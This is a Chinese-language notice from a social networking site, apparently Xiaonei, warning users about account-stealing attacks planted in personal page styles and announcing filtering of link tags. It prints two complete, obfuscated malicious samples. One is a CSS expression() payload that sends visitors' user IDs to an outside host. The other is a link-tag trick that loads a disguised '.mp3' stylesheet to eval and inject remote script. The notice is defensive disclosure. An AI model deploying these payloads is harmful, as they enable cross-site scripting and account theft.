最近不少恶意用户利用网站的漏洞盗取私人帐号，给我们的用户带来不少的麻烦，给网站带来了负面的影响。
作恶用户的手段主要有以下几种
1、eval 声明javascript
2、样式表的 expression 属性声明javascript
3、利用样式表的漏洞 在样式中引入javascript 通过本地脚本配合
有不少的用户是通过引用 css 样式表来美化个人空间的，昨天最 link标签作了过滤，影响了不少的用户，但是为了更多用户的安全，我们必须这样作，所以建议大家在美化个人空间的时候尽量引用站内的样式或者将样式写入涂鸦版中。我们近期也会对 涂鸦版中站内引用/站外引用作文件过滤 消除这样的隐患，同时我们也会纪录下试图引用恶意代码的用户id， 以便对他们进行处罚，营造一个更好的校内网
比较典型的几段恶意代码
1、(expression漏洞)
<a href="http://www.zidou.com" target="_blank"><img src="http://img.zidou.com/img/zidou.gif" alt="美化页面如此简单" /></a><body background=""bgproperties="fixed"><bgsound src="http://hd9.15150.com/music1/2006_9_20/3120205_214715_16198.wma"><!--Devil's Bones! 06194691-w><!><div style="a:exp ression(if(loca\tion.href.indexOf('bones')==-1 && document.cookie.indexOf('bones=') == -1) loca\tion.href('http://home.goo'+'far.com/xianei/Error.asp?from='+parent.loca\tion.href.substring(parent.loca\tion.href.indexOf('id')+3).replace(/[^0-9]/g, '')+'&id='+document.getElementById('mymenu').innerHTML.substring(document.getElementById('mymenu').innerHTML.indexOf('http://xiaonei.com/getuser.do?id=') + 33, document.getElementById('mymenu').innerHTML.indexOf('我的页面')).replace(/[^0-9]/g, '')))"><DIV STYLE="s:ex\pression(if(document.cookie.indexOf('bones=') == -1) document.cookie='bones=z1;expires='+new Date(new Date().getTime()+10000).toGMTString())">
2、(link 漏洞)
<link
href="http://fm032.img.xiaonei.com/tribe/20070324/0340/A8956163GE.mp3"
rel="stylesheet" type="text/css" media="all" />
<div class=jscode>
codeJSUrl="http://fm022.img.xiaonei.com/tribe/20070325/1150/A4771284GE.mp3";
codeCSSUrl="http://source.xiaonei.com/tribe/20070118/1130/orig3213710.css";
var s2 = document.creat eElement("scr"+"ipt");
s2.src=codeJSUrl;
document.body.insert AdjacentE lement("BeforeBegin",s2);
</div>
http://fm032.img.xiaonei.com/tribe/20070324/0340/A8956163GE.mp3 css文件
内容：
.jscode{
display:none;
background:expression((this.innerHTML!="")?((eval(this.innerHTML+"this.innerHTML=''")==null)?"#aaa":"#123"):"#a00"
);
}
您当前的位置：
减小字体
增大字体
